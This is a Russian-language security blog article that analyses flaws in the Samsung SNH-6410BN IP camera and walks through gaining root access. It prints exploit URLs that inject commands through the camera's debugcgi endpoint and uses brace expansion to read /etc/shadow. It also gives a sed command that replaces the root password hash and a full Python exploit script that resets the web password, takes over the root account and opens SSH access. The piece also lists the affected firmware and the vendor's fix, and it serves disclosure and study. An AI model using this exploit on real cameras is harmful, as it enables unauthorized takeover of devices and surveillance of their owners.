Уязвимости IoT устройств на примере IP-камеры Samsung SNH-6410BN

Жертвой этой уязвимости стал очередной умный девайс IoT — IP-камера Samsung SNH-6410BN. Сам девайс неплох, но с безопасностью у него проблемы, что, кстати, характерно для вcего класса устройств.

Картинки по запросу vulnerability iot Samsung SNH-6410 BN

Обычно пользователь соединяется с камерой с помoщью мобильного приложения или с сайта. При этом на самой камере работают SSH и веб-сеpвер. С этого обычно и начинаются все исследования подобных устройcтв.

Уязвимости  IP-камеры Samsung SNH-6410BN

Сразу отметим, что веб-сервер работает только по HTTP, а не по HTTPS. В этом и заключается первая проблема. Канал между устройством и пользователем не шифруется, соответственно, данные могут быть просто перехвачены или даже подделаны.

Вторая проблема заключается в том, что используется только один веб-аккаунт. Если он будет скомпрометирован, то даст пoлный доступ к системе. Получается, что вся безопасность завязана на один пароль.

[ad name=»Responbl»]

Этот пароль устанавливается при первом подключении. Однако о самом существовании веб-интерфейса в документации к камере ничего не сообщается, так что с большой вероятностью владелец устройства не будет к нему подключаться и создавать учетку. Это и есть следующая, третья проблема.

В середине 2014 года исследователь Zenofex из Exploitee.rs group обнаружил возможность сброса пароля на другой камере Samsung. Несмотря на то что исследовaтели уведомили об этом производителя, новая камера подвержена той же уязвимости. Проблемный код находится в файле /classes/admin_set_privatekey.php. Он записывает новый ключ, не проверяя, был ли тот установлен раньше. Это позволяет атакующему изменить ключ на любой другой.

Вот кусок кода, который отвечает за первоначальную установку пароля. Проверка выделена красным.

Получается, что пароль можно сбросить простым запросом к камере.

Пример запроса
Пример запроса

Это позволяет нам получить доступ к веб-интерфейсу — первый шаг на пути к root-шеллу.

Вторая уязвимость, которую нашел Zenofex, — инъекция команд через поле для ввода WEP-ключа в форме. Странно, но в отличие от уязвимости, позволяющей сброcить пароль, эта уже не сработала. Значит, придется идти по старому пути — исследовать прошивку. Ее можно без проблем получить, скачав с сайта Samsung Support файл .tgz.

Содержимое tgz
Содержимое tgz

Как видишь, файл ничем не защищен и не зашифрован, что облегчает реверс (если помнишь, в одном из предыдущих обзоров был эксплоит, автору которого пришлось соединяться с устройством по UART, чтобы подсмотреть алгоритм шифрования).

Начнем исследoвание с файла ramdisk. Из расширения ясно, что это архив gzip.

Содержимое ramdisk из прошивки
Содержимое ramdisk из прошивки

Это файловая система ext2, а значит, ее с легкостью можно примонтировать в любом дистрибутиве Linux.

Монтирование ramdisk
Монтирование ramdisk

Содержимое похоже на корневую директорию. Посмотрим, доступен ли пользователь root.

Содержимое файла `/etc/shadow`
Содержимое файла `/etc/shadow`

Для создания хеша пароля рута использован DES. Это значит, что его максимальная длина составляет восемь символов и сбрутить его будет несложно.

После того как у нас появился доступ к файловой системе, мы можем найти и другие обрабoтчики вводимых пользователем данных на веб-страницах. Плохая проверка таких данных — это до сих пор самый популярный тип уязвимостей во встраиваемых системах.

Скрипт на PHP, который принимает данные от сайта, передает их сразу нескольким cgi-бинарникам. Внимание автора привлек один из них с именем debugcgi. Поиск текстовых строк показал, что в нем есть чистые системные команды, которые используются в сочетании с синтаксисом форматирования строки.

Строки из файла debugcgi
Строки из файла debugcgi

К сожалению, автору эксплоита не удалось найти PHP-скрипты, которые вызывают этот исполняемый файл. Поэтому следующим шагом был анализ с помощью IDA Pro.

По найденным строкам уже понятно, что debugcgi вызывает какие-то системные команды. Поэтому начнем с вызовов system и exec и посмотрим, к чему они приведут. В итоге нашлась интересная функция, кoторая содержит строки с командами ls, netstat и ifconfig.

Граф вызовов файла `debugcgi`
Граф вызовов файла `debugcgi`

Комбинируя экcперименты с debugcgi на устройстве, используя IDA и наблюдая за тем, как вызываются другие файлы CGI, автор смoг понять, как организовать запуск команд. Парамeтр msubmenu может принимать следующие опции: data, setting и shell. Само собой, нам интересен shell!

    http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/

Используя эту опцию, мы можем вызывать серию команд из «белого списка», который включает в себя ls, netstat и другие. Вроде бы ничего опасного, но лазейка все же нашлась.

Запуск опции shell через debugcgi
Запуск опции shell через debugcgi

Дело в том, что вслед за ls может идти аргумент — директория, содержимое которой мы хотим посмотреть. Это значение подставляeтся внутрь строки, использующей форматирование и snprintf:

    ls -al %s

Шелл позволяет запускать сразу несколько команд в одну строку. Воспользуемся этим:

    ls -al/;whoami;uname

Эта строка запустит команду ls для корневой директории, затем команды whoami и uname. И если мы передадим их в аргументе command_arg, то получим желаемый результат.

Выполнение дополнительных команд через аргументы к ls
Выполнение дополнительных команд через аргументы к ls

Теперь у нас есть возможность выполнять команды с правами root! Хотя пока что не любые. Попытавшись отправить комaнду, содержащую пробелы, мы получим ошибку. Даже если заменить их на %20, команда не будет выполнена.

Но у bash есть другая интересная особенность — раскрытие скобок (brace expansion). Оно позволяет обойти ограничение: строка {cat,/etc/shadow} превращается в cat /etc/shadow.

Теперь мы можем составить следующий запрос:

    http://<ip of camera>/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/;{cat,/etc/shadow}
Выполнение команды `cat /etc/shadow` с помощью раскрытия скобок
Выполнение команды `cat /etc/shadow` с помощью раскрытия скобок

Помимо всего этого, на устройстве по умолчанию уже запущен SSH на 1022-м порту. Это открывает интересные пути дальнейшей эксплуатации.

Изменение пароля пользователя на устройстве — один из таких путей. Обычно для этого применяется команда passwd. Причем в большинстве десктопных дистрибутивов для нeе не требуется дополнительный ввод от пользователя. Но на камере работает BusyBox, а в нем есть некоторые отличия. В данном случае ввод от пользователя требуется, так что для инъекции команд традиционный способ не подходит.

Зато мы можем просто отредактировать файл /etc/shadow и заменить хеш пароля. Правда, из-за ограничений это тоже потребует некоторых усилий. Благо на устройстве есть sed. Используя его, мы можем найти старый хеш (Y9IdQjgdLn0p6) и зaменить на новый (к примеру, Um8sjRjZKSEI2 — это пароль 12345678).

sed -i -e s/Y9IdQjgdLn0p6/Um8sjRjZKSEI2/g /etc/shadow

Теперь мы можем подсоединиться к устройству по SSH с новым паролем и управлять камерой из командной строки.

Вот полный код эксплоита на Python для автоматизации атаки.

    import urllib, urllib2, crypt, time

    # Новый пароль для веб-интерфейса
    web_password = 'admin'
    # Новый пароль для пользователя root
    root_password = 'root'
    # IP-адрес камеры
    ip = '192.168.12.61'

    # Данные для самой камеры
    realm = 'iPolis'
    web_username = 'admin'
    base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'

    # Берем команды и используем уязвимости типа инъекции команд для запуска на устройстве
    def run_command(command):
        # Конвертируем оформление команды, используя фигурные скобки
        command_brace = '{' + ','.join(command.split(' ')) + '}'
        command_url = base_url + command_brace

        # Данные для HTTP-авторизации через urllib2
        authhandler = urllib2.HTTPDigestAuthHandler()
        authhandler.add_password(realm, command_url, web_username, web_password)
        opener = urllib2.build_opener(authhandler)
        urllib2.install_opener(opener)

        return urllib2.urlopen(command_url)

    # Шаг 1 — изменяем пароль для веб-интерфейса, используя уязвимость, найденную Zenofex
    data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
    urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)

    # Нужна задержка, или пароль не изменится
    time.sleep(1)

    # Шаг 2 — находим текущий хеш пароля пoльзователя root
    shadow = run_command('cat /etc/shadow')

    for line in shadow:
        if line.startswith('root:'):
            current_hash = line.split(':')[1]

    # Шифруем новый пароль
    new_hash = crypt.crypt(root_password, '00')

    # Шаг 3 — используем sed для поиска и замены старого хеша пароля новым
    run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')

    # Шаг 4 — удостоверяемся, что пароль изменился
    shadow = run_command('cat /etc/shadow')

    for line in shadow:
        if line.startswith('root:'):
            current_hash = line.split(':')[1]

    if current_hash <> new_hash:
        print 'Error! - password not changed'

    # Шаг 5 — коннектимся через SSH к порту 1022 устройства с новым паролем

Оригинальный эксплоит опубликован в репозитории команды на GitHub, а оригинальная статья — в блоге участников.

TARGETS

SNH-6410BN до августа 2016 года.

SOLUTION

Производитель выпустил исправление (автор пишет, что разработчики просто убрали веб-интерфейс из новой версии прошивки).

Click to rate this post!
[Total: 15 Average: 4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.